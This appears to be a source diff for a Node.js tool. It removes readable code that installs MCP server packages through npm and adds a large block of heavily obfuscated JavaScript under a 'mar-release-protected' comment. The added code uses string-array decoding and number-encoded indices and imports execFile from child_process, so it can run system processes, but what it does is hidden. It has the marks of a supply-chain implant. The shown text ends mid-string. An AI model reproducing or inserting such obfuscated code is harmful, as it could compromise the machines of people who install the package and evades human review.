`const {chromium}=require(${JSON.stringify(modulePath)});chromium.launch({headless:true}).then(b=>b.close())`
|
|
79
|
-
], { PLAYWRIGHT_BROWSERS_PATH: browserRoot });
|
|
80
|
-
return ['--require', preload];
|
|
81
|
-
}
|
|
82
|
-
}
|
|
83
|
-
function packageRequest(command, args) {
|
|
84
|
-
if (command !== 'npx')
|
|
85
|
-
return undefined;
|
|
86
|
-
const index = args.findIndex((argument) => !argument.startsWith('-'));
|
|
87
|
-
const spec = index < 0 ? '' : args[index];
|
|
88
|
-
if (!/^(?:@[a-z0-9._-]+\/)?[a-z0-9._-]+@\d[0-9A-Za-z.+-]*$/u.test(spec))
|
|
89
|
-
throw new Error('MCP_PACKAGE_SPEC_INVALID');
|
|
90
|
-
return { spec, serverArgs: args.slice(index + 1) };
|
|
91
|
-
}
|
|
92
|
-
async function runNpmInstall(root, spec) {
|
|
93
|
-
await run(process.platform === 'win32' ? 'npm.cmd' : 'npm', [
|
|
94
|
-
'install',
|
|
95
|
-
'--prefix',
|
|
96
|
-
root,
|
|
97
|
-
'--no-save',
|
|
98
|
-
'--package-lock=false',
|
|
99
|
-
'--ignore-scripts',
|
|
100
|
-
spec
|
|
101
|
-
]);
|
|
102
|
-
}
|
|
103
|
-
async function run(command, args, environment = {}) {
|
|
104
|
-
await execute(command, [...args], {
|
|
105
|
-
env: { ...process.env, ...environment },
|
|
106
|
-
timeout: 300_000,
|
|
107
|
-
maxBuffer: 1024 * 1024,
|
|
108
|
-
...(process.platform === 'win32' && command.endsWith('.cmd') ? { shell: true } : {})
|
|
109
|
-
});
|
|
110
|
-
}
|
|
111
|
-
async function resolvePackageExecutable(root, spec) {
|
|
112
|
-
const packageName = spec.slice(0, spec.lastIndexOf('@'));
|
|
113
|
-
const packageRoot = resolve(root, 'node_modules', ...packageName.split('/'));
|
|
114
|
-
const manifest = JSON.parse(await readFile(resolve(packageRoot, 'package.json'), 'utf8'));
|
|
115
|
-
const candidates = typeof manifest.bin === 'string' ? [manifest.bin] : Object.values(manifest.bin ?? {});
|
|
116
|
-
if (candidates.length !== 1)
|
|
117
|
-
throw new Error('MCP_PACKAGE_EXECUTABLE_INVALID');
|
|
118
|
-
return resolve(packageRoot, candidates[0]);
|
|
119
|
-
}
|
|
120
|
-
async function installedExecutable(metadataPath, spec) {
|
|
121
|
-
try {
|
|
122
|
-
const metadata = JSON.parse(await readFile(metadataPath, 'utf8'));
|
|
123
|
-
if (metadata['spec'] !== spec || typeof metadata['executable'] !== 'string')
|
|
124
|
-
return undefined;
|
|
125
|
-
return resolve(dirname(metadataPath), `.${metadata['executable']}`);
|
|
126
|
-
}
|
|
127
|
-
catch {
|
|
128
|
-
return undefined;
|
|
129
|
-
}
|
|
130
|
-
}
|
|
131
|
-
function packageError(error) {
|
|
132
|
-
const message = error instanceof Error ? error.message : '';
|
|
133
|
-
if (message.startsWith('MCP_'))
|
|
134
|
-
return new Error(message);
|
|
135
|
-
return new Error('MCP_PACKAGE_INSTALL_FAILED');
|
|
136
|
-
}
|
|
1
|
+
/* mar-release-protected */
|
|
2
|
+
function _0xfd32(_0x354ffa,_0x4fbbba){_0x354ffa=_0x354ffa-(-0x119*0x17+0x83*0x3+-0x2*-0xcb5);const _0x355746=_0x428c();let _0x20ed88=_0x355746[_0x354ffa];if(_0xfd32['uzzZeI']===undefined){var _0x4262c4=function(_0x5107b8){const _0x549ac3='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x1dd405='',_0x14ddeb='';for(let _0x1a9744=-0x12c3+-0x3d4+0x1697,_0x2ae315,_0xe5c793,_0x3f1553=-0x61c+-0x5*0x418+-0xfc*-0x1b;_0xe5c793=_0x5107b8['charAt'](_0x3f1553++);~_0xe5c793&&(_0x2ae315=_0x1a9744%(-0xfe5*0x2+-0x153a+0x3508*0x1)?_0x2ae315*(0x1b75+-0x18cd+0x58*-0x7)+_0xe5c793:_0xe5c793,_0x1a9744++%(0x1*-0x1d53+-0xa03+0x275a))?_0x1dd405+=String['fromCharCode'](0x12d2+0x1*-0xd21+0x259*-0x2&_0x2ae315>>(-(0x32a+0x23e4+0xcc*-0x31)*_0x1a9744&0xfd*-0x11+0x47*-0x85+0x32*0x113)):0x4*0x106+0x14e8+-0x1900){_0xe5c793=_0x549ac3['indexOf'](_0xe5c793);}for(let _0x5ca200=0xac0+-0xd67*-0x2+-0x258e,_0xc45b24=_0x1dd405['length'];_0x5ca200<_0xc45b24;_0x5ca200++){_0x14ddeb+='%'+('00'+_0x1dd405['charCodeAt'](_0x5ca200)['toString'](-0x1fd0+0xbd3+0x3b*0x57))['slice'](-(-0x1b44+0x8a7*0x3+0x151*0x1));}return decodeURIComponent(_0x14ddeb);};_0xfd32['DNRvMw']=_0x4262c4,_0xfd32['UfDwPh']={},_0xfd32['uzzZeI']=!![];}const _0x239d26=_0x355746[0x360+-0x1f29+0x1bc9];_0xfd32['iwmNVK']!==_0x239d26&&(_0xfd32['UfDwPh']={},_0xfd32['iwmNVK']=_0x239d26);const _0x37662b=_0xfd32['UfDwPh'][_0x354ffa];return _0x37662b===undefined?(_0x20ed88=_0xfd32['DNRvMw'](_0x20ed88),_0xfd32['UfDwPh'][_0x354ffa]=_0x20ed88):_0x20ed88=_0x37662b,_0x20ed88;}(function(_0x543a2c,_0x5f5d33){const _0x325005=_0xfd32,_0x22bacb=_0x543a2c();while(!![]){try{const _0x32936b=parseInt(_0x325005(0x1e3))/(-0x184f+0x25a5+-0xd55)+parseInt(_0x325005(0x22a))/(-0x6d*0x1b+0x1e85+0x4c1*-0x4)+parseInt(_0x325005(0x1fa))/(-0x2ff*0xd+0x18d5*-0x1+0x3fcb)+parseInt(_0x325005(0x1b5))/(-0x3*-0x5ce+-0x722*-0x4+0x16f7*-0x2)+-parseInt(_0x325005(0x1eb))/(0x4*-0x8ed+-0xc52+0x300b*0x1)+-parseInt(_0x325005(0x20f))/(0x9f*-0x5+0xb4e*-0x1+0x1*0xe6f)+-parseInt(_0x325005(0x21f))/(-0x2215*0x1+-0x255c+0x4778);if(_0x32936b===_0x5f5d33)break;else _0x22bacb['push'](_0x22bacb['shift']());}catch(_0x310f10){_0x22bacb['push'](_0x22bacb['shift']());}}}(_0x428c,0x33e94+0x2ceb0*0x1+0xafca),function(_0x21f8e9,_0x51b880){const _0x253cae=_0xfd32,_0x316553=_0x4384,_0x5d4874=_0x21f8e9();while(!![]){try{const _0x4eba4c=parseInt(_0x316553(-0xf6d+-0x251c+0x3580))/(-(-0x14f6+-0x8b5*-0x4+-0xddd)*(-0x153a+0x1126+0x61f*0x1)+(0x1b75+-0x18cd+0x29f*-0x1)*(0x1*-0x1d53+-0xa03+0x2b64)+-(0x2131+0x1*-0x1727+0x11c*0x16))+-parseInt(_0x316553(0x32a+0x23e4+0x76*-0x53))/(-(0xfd*-0x11+0x47*-0x85+0x35*0x13e)+-(0x1*0x61f+0x1f42+-0x82e)+(0x16c3+-0x1c61*-0x2+-0x262a))+parseInt(_0x316553(-0x1fd0+0xbd3+0x17*0xe9))/(-(-0x2ba3+0x14c5*0x2+0x215b*0x1)+-(0x38f+-0x20d5+0x31da)+(-0x5*-0xec+-0xd*-0x205+0x110*-0x1d)*(0x1e3f+-0xea2+-0xba0))+parseInt(_0x316553(-0x48d*0x6+0xc9d*0x1+0xfa0))/(-(0x357+-0x15*-0xcb+-0x3*-0x2bb)+(0x1fdb+-0x633+0x1193*-0x1)+(-0x3*-0xbf+0x9c2*0x2+-0xbb2)*(0x226e+0x57b*0x7+-0x48c9*0x1))*(-parseInt(_0x316553(0x16c3*-0x1+-0x263c+0x3e16))/(-(0x1*0x36f5+0x4306+-0x560b)+(0x2dc*0xa+-0x945+0x1f8*0x1)+(-0x17*0x7f+0x107b+-0x4cc*-0x2)*(-0x174*-0x3+-0x1699+0x123e*0x1)))+parseInt(_0x316553(-0xa1*0x2b+0x1831+0x1*0x3d4))/(-(0x2*-0x782+0x47c+0xaf3)*(0x1ef3+0x1e3d+-0x3d07)+-(-0x425+-0x26cc+0x2af6)*-(0x1ef5+-0x1*-0x248d+-0x3fe8)+-(0x386*0x5+-0x1*-0x9c2+-0x1*0x1b5f)*(-0x3df*0xa+-0xa85*0x3+0x471e))*(parseInt(_0x316553(0x16c2+-0x43f*0x1+-0x1177))/(0x3bc1+-0x272*0x2+0x449*-0x5+-(-0x990+-0x253a+-0x3878*-0x1)+(-0x20de*-0x1+0x5fa+0x1eef*-0x1)*-(0xdf2*0x2+0x1*-0x18be+-0x323)))+parseInt(_0x316553(0x2e3*-0x2+-0x2*0x30b+-0x67a*-0x2))/(-0x143*-0x17+-0xb29+-0x20a+(0x8a+-0xd*0x165+0x286d)+-(0x1615+0x3ac+-0xce1)*(-0x1711+0x26dd+-0x543*0x3))+-parseInt(_0x316553(0x219f+0x277*-0x5+-0x1449))/(-(-0x49*-0x6b+0x13ab+0xe2d*-0x2)+-(0x5*-0xb2a+0x1*0x1c25+0x1*0x37a9)+(0x3*0x50b+-0x7*-0x437+0x3*-0xc81)*(-0x608+-0x2*-0x1168+-0x1cc1));if(_0x4eba4c===_0x51b880)break;else _0x5d4874[_0x253cae(0x1cf)](_0x5d4874[_0x253cae(0x229)]());}catch(_0x295241){_0x5d4874[_0x253cae(0x1cf)](_0x5d4874[_0x253cae(0x229)]());}}}(_0x5d37,-(-0x1e6d+-0x4a*-0x61+0x7ed*0x3)*-(-0x239+0x43*-0x45+0x147d*0x1)+-(-0x26ce*-0x1+-0x148*-0x1c+-0x4aad)*(-0x1a7ff6+-0x1098e5*0x1+0x2*0x200dd3)+(0x6*0x1b09f+0x117d90*-0x1+0x2530a4*0x1)));const _0x5807d3=_0x14c4;(function(_0x4230ef,_0xb050be){const _0xe4a2d3=_0x4384,_0x101247=_0x14c4,_0x1f65dc=_0x4230ef();while(!![]){try{const _0x4c1f16=-parseInt(_0x101247(-(-0x1*0x156f+0x1*0x2347+-0x1a*-0x4f)+-(-0x16*-0x17+0x15ad+0x879)+(0xb*-0x6b2+0x71*-0xad+0xcd9e)))/(((0x2ad3+0x48+-0x1424)*-(0x457*-0x8+0x1*0xa7+0x2212)+(-0xd*-0x20+-0x373*-0x5+-0x1222)*-(0x1e3b+-0x1e1e+0x8*0x1)+(0x1*-0x108c+-0xd*0x469+0x6952)*(0x11*-0x241+-0xb07*-0x1+-0x2*-0xda6))*-(0x24*-0xef+-0x1557+0x490c+-(0xf88+-0x4b7*0x4+0x12ac)+(-0x2677+-0x1c75+0x29*0x1b3)*-(-0x59*-0x4e+-0x2*-0xf3f+0x1*-0x399b))+-(0x2eef+0x1f16*0x1+-0x32b7+-(-0x13b8+-0x2414+0x37d3)*(0x5e*-0x57+-0xc4+0x2633)+(-0x50*0x1+-0xcd9+0xd2a)*(0x377+-0x163*-0x21+0x189d*-0x1))+(-(-0x86b+0xa4a+-0x4f*-0x14)*-(-0x1*0xccb+0x868+0x11b*0x4)+-(0x2*-0x17cc+-0x1abf+0x33e5*0x2)*(0x5*-0x4df+-0x1cc4+-0x88*-0x64)+(0x2167+-0x28*-0x32+-0x2924)*-(0x92*-0x30+-0xa4+0x1c3d)))*(-parseInt(_0x101247(-(0x2cfc+-0x1*-0x34fd+-0x18b*0x2e)+-(-0x2*-0x6b2+0xb1e*0x1+-0x1845)*-(-0x84*0x1+-0x4b5+-0x2*-0x2e3)+(0x1a52+-0xda*0x28+0x96f)*-(0x11fa+-0x9d7+-0x820)))/(-(-0x17*0x29b+-0x29*-0x57+-0x1*-0x55c1)+(0xcb1+0x143e+0x5d8)*(0x12ab*0x1+-0x1941+-0x1*-0x697)+(0x823+-0x1*0xb67+0x645*0x1)*(-0x1*0x655+-0x12cd+0x192b)+-(-(0x19e2+-0x1b5+-0x2d7*-0x1)+(-0x6a3*-0x2+-0x1dbe+-0x1*-0x107b)*-(0x838+-0x1a7e+0x1*0x1dd3)+(-0x85f*0x6+-0x3b*0x3b+-0x29d5*-0x3)*(0x2233+-0x16*0x8a+0x772*-0x3))*(-(0xadf*0x1+-0x2409+-0x18d1*-0x2)+(0x1889*0x1+0x74c+-0x1fd2)*-(0x329*-0x3+0x1987+0x4*-0x39e)+(-0x5238+0x2afe+0x671*0xd))+((-0xdf*0x13+-0x31*-0x90+-0x1*0xb01)*-(-0x1*-0x1969+-0xe71+0x1*0xc1)+-(-0xbc*0x13+0x1*-0x1e3b+0x2c50)*(-0x4*0x693+-0x27d+-0x3*-0x9d1)+(0x2*0x3ac+0xb2b+-0x127b)*(-0x1d0d+0x6cd+0x94f*0x3))*-(0x1*0x1396+-0x7*0x39e+0x6f3+-(-0x19*-0x1a5+-0x4*0x67a+0x11ef)+(-0x17*0x3d+0x4c2+0x1*0xba)*(-0x1ab*-0x7+0x7ed*-0x2+0x24ff))))+parseInt(_0x101247(0x4f9+0xba5+-0xd*-0x66+-(-0x3d6*0x5+-0x23ad+0x1*0x41d5)+-(-0x521+-0x132+0x4*0x3e8)))/((0x2706+0xcec+-0x33b9+-(0x4aa+-0x11a7+0x3*0x819)*-(0x568+0x2c4+0x415*-0x2)+-(-0xb64+-0x64e+0x264d))*-(-0x1f0f*0x1+0x16be*0x1+0x5d7*0x6+-(0xb57*0x1+-0x5b2+-0x581*0x1)*(0x17bb+0x1*0x71f+-0x1e1b)+(-0x7*0xa4+0x1*0xb02+-0x652*0x1))+-(-(-0x1*0xff1+0x1a5d+0x13dd)*(0x16*-0xb9+-0x2b*0x95+-0xa9*-0x3e)+-(-0x1b2b+-0x1bdc+0x51e5)+-(-0x1b*-0x161+-0x8092+0x9cd0)*-(-0x422+-0xf7*-0x9+-0x48c))+(-0x72b*0x3+0x1*0x4892+-0x13*-0x1fd+-(-0x161*0x1+0x1291+-0x1113)*(0x452+-0x5*-0x3be+0x5*-0x43f)+(-0x24d7+-0x7*-0x4d2+0x35d)*(-0x132*-0x9+0x2487*-0x1+-0x19e9*-0x1)))+parseInt(_0x101247(-(-0x1138+-0x1ccf+-0x3*-0xf58)*(-0x17*-0x171+-0x5*-0x527+0x35e1*-0x1)+-(0x1fd6*0x1+0x4fc+-0x1197)+(-0x24da+-0x27+0x2502)*(-0x38*-0xce+-0x2ebf+0x1b6f)))/(-((-0xc35+0x2e67+-0x5e)*(0x25e5+0x1964+0xa7*-0x61)+-(0x6a*0x2+-0x496b+-0xccb*-0xb)+(0xbb1+0x3b0+0x14e1))+-(-0x881*-0x3+0x4617+-0x389b+-(0x17d1+0x1ac0*0x1+0xa*-0x4a3)+-(-0x6e3*0x4+0x117b+-0x12*-0x27c)*(-0x13e6+0x449*-0x7+0x31e6))*-((-0x4*0x995+0x52b*0x2+0x955*0x3)*(0x618+-0x3d1*0x3+-0x539*-0x4)+-(0x107*-0x3+0x1a*-0xda+0x26df)+-(-0xb*0x8+-0x1d44+0x7a*0x41))+(-(-0x2*0x1c1c+-0x48b*0x3+0xd69*0x8)+(0x102b*-0x3+0x2*-0x1093+-0x3*-0x2453)+-(-0x1736+-0x6cc+0x2*0xf1d)*-(0x7ed+0x1*0xa8a+-0x11fd)))+-parseInt(_0x101247((0x7*-0x580+-0x35e+0x32ef)*(0xd7*-0x17+0x1e68*0x1+-0xb14)+-(-0x15e8*-0x1+0x21*-0xe5+0x867)*-(-0x4b*-0x42+-0xf*0x1e1+0x1*0x8ef)+-(0x10c*-0x1d+-0x11*0x346+-0x1*-0x80fd)*(0xd26+0x1af3*-0x1+0xdce)))/((-0x246a+0xe47+0x39e7+(-0x63*0x5b+0x181c+0x12*0xd9)+-(0x2c4a+0x356f+-0x3ab7))*((0x1c3d+-0x4b2*-0x1+-0x226*0xf)*(-0x5c+-0x25*-0xef+-0x2201)+-(-0x1fc1*0x1+0x23b9+0x623*0x1)+-(-0x23d0*0x1+0x1676+-0xa3*-0x38))+(-(0x22f*0xb+0x5d*-0x1b+-0x2*0x718)*(-0x4*-0x136+-0x4f*0x11+0x665)+(-0x11ce+-0x1a21+-0x98*-0x4a)*-(0x67*0xe3+0x2f6b+-0x2d89*0x2)+(0x51b*0x29+-0x1b00*-0x1+0x61*-0x137))+-((0xada+-0xb1*-0x17+-0x1ac0)*-(0x1aab+0xa25+-0xaec)+-(-0x1*-0x1ed4+0x3*-0x152+-0x1aa1)*-(0xbbe*0x3+-0x37c+-0x1f9f)+-(-0x47*0x6+0x3*0xa93+0x14ce*-0x1)*-(-0x6*-0x15b+0x2*0x1005+-0x282a))*(-0xb512+-0x7478+-0x1*-0x196c7+-(0x3*-0x1477+0x178a*-0x3+0xb9bb*0x1)+(-0x90+-0x25d4+0x2cc7)))+-parseInt(_0x101247(-(0x1052*0x2+0x8*-0x4d6+0x620)*(-0xcce+0x15*-0x86+0x18e5)+(0x133*0xd+0x12e*-0x14+0x403*0x2)*-(-0x1f*-0xfc+-0x583+-0x1*0x1280)+(-0x180e+0xb69*0x1+0xd6a)*(0x1*-0x9c4+0x1*0x1dd6+0x1*-0x13c9)))/((0x4c2+-0x28cd+-0x43af*-0x1+-(0xfa+-0xa67*-0x2+-0xaff)+-(-0x244a+0x33*-0x4+0x39ef*0x1))*(0x11d4+0x1*-0xa34+-0x600+-(0xc0+-0x2186+0x23df)*-(-0x1ec5+-0x968+0x282e)+-(0x793+-0xf9*-0x17+-0x19dd))+-(-(0x1*0x11f1+-0x1*0x1173+0x138e)+-(-0x2688+-0x2*-0xfd9+0xe8b)*(0x373*-0x6+-0x14f1*-0x1+-0x3d)+(-0x65b*-0x2+-0xd14+0x9*0xb)*(-0x1d9a+-0x22f0+0x47a3))*(-0x18a4+-0x10*0x1fd+-0x5*-0xec3+-(-0x6*-0x3b7+-0x720*0x1+-0xf29)*-(-0x6*-0x449+0xefb+-0x7*0x3a1)+-(-0x9*-0x5a1+0x2*0x1bfb+-0x515*0xf))+(-0x2171+0x1061+0x2e*0x8e+-(0x1cd*0x19+0x241*-0x19+0x13*0x23b)+(-0x624+-0x1*-0x2589+-0x6b9)*(-0x161d+-0xaed+-0x1*-0x210b))*(-0x1a3d+0x181a+0x1b46+(0x242c+-0x2060+0x1*-0x39e)*-(-0x1263+0x131f*-0x1+-0x439*-0x9)+-(0x40c+0x1204*0x2+-0x2812)*(0xebf+0x217+-0x135*0xd)))+-parseInt(_0x101247((0x26fa+-0x14ae+-0x1245)*-(-0x349*-0x6+0x61*-0x61+0x1320)+-(-0x1*-0x18cb+0x2234+0x2c24*-0x1)+(0x11a+0x989*0x4+-0x2734)*(0xef5+-0xe9c+0x4*0xb0)))/((-(0x31*0x7+0x2056+0x12a*-0x13)+-(0x2683+0x17cf+-0x4*0xb01)+-(0x3*0x3a6+-0x25f*-0x7+-0x1b89)*-(0x3a8+-0x7b2+0x3*0x653))*-(-(-0x1b*0x36+0x246b+-0x2*0xf5c)*-(0x10b1+0xabe+0x4*-0x22b)+(0x16a9+0x157a+-0x7d9*0x4)+-(0x7a+0x2629+0x19*-0x18b)*(-0x29*-0x94+0x79*0x7+-0x19e2))+(-(0x15bf+0x194+-0x1*0x4cf)+-(-0x1b4c+0xe6*0x4e+0xb5f)+(-0x1*0xa229+0x2*-0x1bbf+0x13ea5))+-(-(-0x3b*-0x83+0x1b*-0x1b5+0x6*0x8e8)+(0x704*0x2+0xb*-0x363+0x1*0x1e5c)+(0x9*0x20e+-0xf94+0x4f*-0x9)*(0x55c+-0xb77*0x2+-0x1*-0x12dd)))+parseInt(_0x101247(-(-0x56*0x6a+0x1f5d+0x7ae*0x1)+-(-0x25d6+0xe2e+0x1a13)*-(0x10eb+0x63*-0x13+-0x15d*0x7)+-(-0x5a9+0x161+0x2*0x80a)))/(-0xd4f+-0xe9*-0x29+-0x19*-0x51+-(-0x1848+-0x1*-0x1cf9+0xe3b)+-(-0x1552+-0x1*0x1e9b+0x33f8)*(0x4e8+0x1e8*0x14+-0x2ab2)+-(-(0x1db9+-0x214+-0x1a7d*0x1)+-(-0x71e*-0x4+-0x21fe+0xb1*0x8)*-(-0x1a7d+0x179f+0x163*0x7)+(-0x8c7+0x1639+-0xd6d)*-(-0x18af+-0x21a2+0x3cd2))*-((0x25d8+-0x1e6d+-0x760)*(-0xe3*0x9+-0x1422+0x1efb*0x1)+(-0x1ed*0x3+0x2*0x105d+-0xfae)*-(-0x2135+0xf6e+0x8e4*0x2)+(-0x1a83+0x1716+0x437*0x1)*-(-0x1354+0x20c3*0x1+-0xd60))+-(-(-0xa22+-0x538*-0x3+0x18be*0x1)+(0xad*-0x1+0x1b90+-0x6d0)+(-0x4a*0xd+-0x1d6e+0x2131)*(0xb48*0x2+-0x21cc+0x2721)));if(_0x4c1f16===_0xb050be)break;else _0x1f65dc[_0xe4a2d3(0x2*-0x1a+0x1d7*-0x9+0x11eb)](_0x1f65dc[_0xe4a2d3(0x75*-0x31+-0x17fe+0x1*0x2f4b)]());}catch(_0x466143){_0x1f65dc[_0xe4a2d3(0x267c+-0x492+0x4ae*-0x7)](_0x1f65dc[_0xe4a2d3(0x4f9+0x14*-0x2e+0x79*-0x1)]());}}}(_0x5bb2,((-0x1517+-0x375f+0x68b7*0x1)*(-0x1955*-0x1+0x21e*-0x1+-0x1736)+-(0xccd+0x25ab*0x1+0x1f99*-0x1)*(0x12*-0x68+0xb19+-0x1e4*0x2)+(-0x4e*-0x7+-0x3d7+0x94*0x3)*-(-0x250d+0x1c*0x2+0x262c))*-(-(0xcd+0x7*-0x16c+-0x92b*-0x1)*-(0xebce+0x93d*-0x34+-0x23*-0xddf)+-(-0x12e+0x260b+0x1c*-0x151)*(-0x9f559+0x17*-0x3857+0x1691b8)+(0x57f3d*-0x1+0x91f6c+-0x6474*-0x10))+-((0x165f1*-0x1+-0x3983*-0x7+0xfec0)*-(0x4a*0x1+0xd5+-0x11b)+-(-0x1486e+-0x13af3+0x34931*0x1)+(-0xe52d*-0x11+-0x1*-0x119c6f+-0xeb1c3))+(-(0x3335*-0x6+-0xd9a4*-0x1+0x12399)+-(-0x1e9ad*0x9+0x13a9e+0x1f4074)+(0x2c01e*0x5+-0x1d71*-0x7+0x1*-0x4148b)*(-0x6d3+-0x1f0a+-0x25e1*-0x1))));import{execFile}from'node:child_process';import{createHash,randomUUID}from'node:crypto';function _0x5bb2(){const _0x34418f=_0x4384,_0x300785=[_0x34418f(0x1*0x527+-0x678+0x25e),_0x34418f(0x21b+-0xdf9*0x1+0xcd6),_0x34418f(-0x25bf+-0x464+0x2b28),_0x34418f(0x34*0x1+-0x1aa8*-0x1+-0x19fc),_0x34418f(0x77*0x14+-0x5aa+-0x2c0),_0x34418f(0x1*0x2401+-0x666*0x4+0xb*-0xd8),_0x34418f(-0xbcb*0x3+-0x19*0x155+-0x22d6*-0x2),_0x34418f(-0x3*0x29+-0x1303+0x7*0x2e7),_0x34418f(0x43*-0x5b+-0x47*0x5f+0x3301),_0x34418f(0x2*0x3e5+-0x199b+0x1*0x12d7),_0x34418f(0x21e*0xc+0xd*0x14d+-0x2947),_0x34418f(-0x1*0x490+-0xcb*0x9+0xca9),_0x34418f(-0x120*0x11+0x225b+-0x4*0x397),_0x34418f(-0x9*-0x223+0x1bf+-0x141f),_0x34418f(0x6*-0x614+-0xcac+0x16f*0x23),_0x34418f(0x1*0x1bdd+0x267d*0x1+0x418a*-0x1),_0x34418f(0x19c2+-0x1143+-0x783),_0x34418f(0x161f+0x2252+0x1bca*-0x2),_0x34418f(-0x1f41*0x1+-0x1*0x1ed+0x71*0x4d),_0x34418f(-0x19db*0x1+0xe*0x1c1+0x3*0xd1),_0x34418f(-0x1c*-0x4+-0xd48+-0x2*-0x6de),_0x34418f(0x1*0x263d+-0x1305+-0x929*0x2),_0x34418f(0x21ce+-0x2*0x41+-0x1*0x205f),_0x34418f(-0x18e*0x7+-0x15b8+-0x2*-0x10c7),_0x34418f(0x7*0x422+0x94*-0x22+-0x81c),_0x34418f(0x1994+0x425+-0xe6b*0x2),_0x34418f(0x151a+-0x1e2b+-0x1d*-0x57),_0x34418f(0x682+-0x7b5+0x20f*0x1),_0x34418f(-0x2*-0xb74+0x119d+-0x2761),_0x34418f(0x2487*-0x1+-0x169*-0x9+-0x1*-0x18f3),_0x34418f(-0xa7d+-0x98f*-0x1+0x211),_0x34418f(-0x4d3*0x4+0x2336+-0xf19),_0x34418f(-0x9c3+0x98*-0x2c+0x24ce),_0x34418f(0x6e9+-0x124d+0x26*0x54),_0x34418f(-0x2*0x17+0x2*0x176+0x9*-0x33),_0x34418f(-0x8*0x3b9+0xb2d*-0x1+0x1*0x29ce),_0x34418f(0x100d+0x296+0x45*-0x41),_0x34418f(-0x12e*-0xb+0x4*-0x8a1+0x165e),_0x34418f(-0x1253*0x1+0x1f3+0x116f),_0x34418f(-0x4*0x94f+-0x1eb0+-0x1*-0x44cd),_0x34418f(-0xf11+0x1f31+-0x1*0xf55),_0x34418f(-0x25*0x9e+0x187*0x4+-0x11c2*-0x1),_0x34418f(0x59*0x34+0x261*-0x1+-0x15a*0xb),_0x34418f(0x1*0x115f+-0x231f+-0x77*-0x28),_0x34418f(0x534+-0x4d*-0x1+-0x498),_0x34418f(-0xadc+-0x2384+0x2f71),_0x34418f(-0x22*0x2+0x2*0xdcd+-0x1a52),_0x34418f(-0xf5+0x647*0x1+-0x442),_0x34418f(-0x7f6*-0x4+0x1034*-0x2+0x15e),_0x34418f(-0x2*0x224+0x1f7*-0xf+0x22dd),_0x34418f(-0x88e*-0x4+0xf9f*-0x2+0x1db*-0x1),_0x34418f(0x1e61+0x16f3+-0x3463),_0x34418f(-0x11da+-0xa*-0xeb+-0x9a7*-0x1),_0x34418f(-0x20c7+-0x20df+0x4292),_0x34418f(0x192f*0x1+-0x212a+0x8fb),_0x34418f(0xb8*-0x12+0x99a*0x1+-0x44f*-0x1),_0x34418f(-0x164c+0x5f5*-0x3+0x45*0x99),_0x34418f(0x1257+0xce5+-0x1e29*0x1),_0x34418f(0x1326+-0x2f6+0xf07*-0x1),_0x34418f(-0x3*-0x788+0x1058*0x1+-0x2612),_0x34418f(-0x12ab+-0x110+0x14db),_0x34418f(0x89a*-0x2+0x178+0x65*0x2a),_0x34418f(-0x372+0x2fb*-0x1+0x73a),_0x34418f(0x5*0x116+0x1e65*-0x1+0x1a0d),_0x34418f(0xb75+0xda2+-0x184f),_0x34418f(0x1*-0xb5+0x10cd+-0xefd),_0x34418f(-0x1d5*-0x4+0x2*-0x416+0x1*0x1d9),_0x34418f(0x6c*0xe+0x147*-0x17+-0x187b*-0x1),_0x34418f(-0x2*-0x1+0x10d*0x19+-0x10*0x192),_0x34418f(-0x24b0+-0xbf7+0x18c7*0x2),_0x34418f(0x2*-0xe93+-0x1*-0x1977+0x489),_0x34418f(-0x1*-0x770+-0x1121+0xa83),_0x34418f(-0x3*-0x91f+-0x1*0x1418+-0x637),_0x34418f(-0x1d4b*0x1+0x1044*-0x2+0x1*0x3e9c),_0x34418f(0xfed+-0x1*0x258f+0x169f*0x1),_0x34418f(-0x1ec2+-0x1169+-0x30*-0x107)];return _0x5bb2=function(){return _0x300785;},_0x5bb2();}function _0x428c(){const _0x365324=['CtaXmNDlAvL3zgO2q3e','qMuXvxzOueG','BLPhm25KCNLetNP2C2z1','y2HHCKf0','qJn6sxz1DKX2zM4Wq3e','qNzqzg13mwTXwMzuDhvYCNf1mxL0m0Xy','BxrXm21ACvPTDhjRCMzIA0n4Dq','qNHYtg13nwTdtgjyBxHpmemYDMq','CMuXtxuWCJnete8','EK5QvKj1BK95EgPKqJjYta','EtjisenlzJa','CtjeExnLDJrYzKXIrdbYChjNBvH0zwPVruXIzhr0thzXtKqYDNvYsM51ugj0tta','ChvZAa','Cu1etxDlCKX0zNy2EJn5merKAJu','CxDemM5H','DJj6A3nlwdm','EtjisenlBLz6z3zIrge','Cu5evxyYwdnbteXJBtbYquvosff3rW','Cu1emNz4t1PdsZG','ruSXBxz4ueX0zNy2EJn5ma','ru5iAxrOs1PesMi1rdjqDevozq','CuS1sxzNwg5cthi2Exe','Cta1mNz1CK50zNi2q3e','CvPQmM1H','qMHTwhz1ANPTDLa1rwHqBq','CMHisxmZtdrds1C','BgvUz3rO','ru5dmw1lzJrbthPJDhrMBxflnvG','rgH2vun4r1H5twPyBwzYsunkyJjYtM4XBNHYmNP3ELrez3K1EJnMmxrNmvLeEgu','C2XPy2u','ru1eBxroudrcsMe','Ctjiuxzos1LetfbKD3r2Bxflntv2EhzmD2DQm0rlCLPdm3zLqxH6tw93BJfZwKW0rhrImKmZDvHVEgzyre5Quef3CvDYvW','ndKXmduYqvPNr0Pm','rgH2vun4shG','CvPUwxnLBM9dtfaYBuTxv3f3zq','CMDiuxnLAM9cterJBtjpvW','CvPQExvOs1LeCq','Bxrdm25kAtnTtg5YqNDMDhvh','CvPUsxrOthG','qMHTwhyZtdnctgO1rdbYBujOrhL2tKTzDvPmnNr3ENrXwMOX','nJe5ndC1qLLKBg1K','CxHdnhz4t1L0zgjIqwH6AKjLmfH1AeTAquX6zg1ktg5Yz201DJbQtNPkDMvTmLbXruPQAw1NwdnTDvbKExe','CvPUwxD1zJnUDtvIrdnpmq','qMuXBxz1BvPds0HJEJfeDq','CMrQBxz3mufbCq','rgH2vun4r1H5twPyBwzYsunkyJjYtMOYC2D6wg14EJfdEhzrqNHQmM93udb0AfbjrgD2BxPX','rhrMwxP4BJfVyq','CuS1sw5H','y2HHCKnVzgvbDa','ru1etw1OtdfdtgjKDhH6A3jNqZv3Dxzy','qNvqsg1NouT6DLbwrdbYyNj3DJz1zwPi','rxrPnxzLAJn6thy2Exe','CvPUsxuWzJrdCq','qNvqzhDnnuTbDhjyDgDqvev0yJz0Cq','qMTzAuTr','mtC3odyZn3b4C2jiDG','ru1emNuZudrds1C','BxrPv290s1DUs1Hiq05MuxnX','ru5iAxrOs1H5s0HLE